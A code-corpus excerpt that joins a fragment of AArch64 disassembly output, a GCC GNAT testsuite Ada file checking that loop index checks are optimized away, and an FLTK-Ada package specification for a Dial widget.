8: 20444c4c .inst 0x20444c4c ; undefined
c: 302e3331 adr x17, 5c671 <EXC_LOWEREL32_SPX_SErr+0x5c63d>
10: Address 0x0000000000000010 is out of bounds.
|
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/loop_optimization20.adb | best08618/asylo | 7 | 10833 | -- { dg-do compile }
-- { dg-options "-O -fdump-tree-optimized" }
procedure Loop_Optimization20 is
type Array_T is array (Positive range <>) of Integer;
type Obj_T (Length : Natural) is
record
Elements : Array_T (1 .. Length);
end record;
type T is access Obj_T;
function Is_Null (S1 : Obj_T) return Boolean;
pragma No_Inline (Is_Null);
function Is_Null (S1 : Obj_T) return Boolean is
begin
for I in 1 .. S1.Length loop
if S1.Elements (I) /= 0 then
return False;
end if;
end loop;
return True;
end;
A : T := new Obj_T'(Length => 10, Elements => (others => 0));
begin
if not Is_Null (A.all) then
raise Program_Error;
end if;
end;
-- { dg-final { scan-tree-dump-not "Index_Check" "optimized" } }
|
src/fltk-widgets-valuators-dials.ads | micahwelf/FLTK-Ada | 1 | 4254 |
package FLTK.Widgets.Valuators.Dials is
type Dial is new Valuator with private;
type Dial_Reference (Data : not null access Dial'Class) is limited null record
with Implicit_Dereference => Data;
type Dial_Kind is (Normal_Kind, Line_Kind, Fill_Kind);
package Forge is
function Create
(X, Y, W, H : in Integer;
Text : in String)
return Dial;
end Forge;
function Get_Dial_Type
(This : in Dial)
return Dial_Kind;
function Get_First_Angle
(This : in Dial)
return Integer;
procedure Set_First_Angle
(This : in out Dial;
To : in Integer);
function Get_Second_Angle
(This : in Dial)
return Integer;
procedure Set_Second_Angle
(This : in out Dial;
To : in Integer);
procedure Set_Angles
(This : in out Dial;
One, Two : in Integer);
procedure Draw
(This : in out Dial);
function Handle
(This : in out Dial;
Event : in Event_Kind)
return Event_Outcome;
package Extra is
procedure Set_Dial_Type
(This : in out Dial;
To : in Dial_Kind);
end Extra;
private
type Dial is new Valuator with null record;
overriding procedure Finalize
(This : in out Dial);
pragma Inline (Get_Dial_Type);
pragma Inline (Get_First_Angle);
pragma Inline (Set_First_Angle);
pragma Inline (Get_Second_Angle);
pragma Inline (Set_Second_Angle);
pragma Inline (Set_Angles);
pragma Inline (Draw);
pragma Inline (Handle);
end FLTK.Widgets.Valuators.Dials;
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.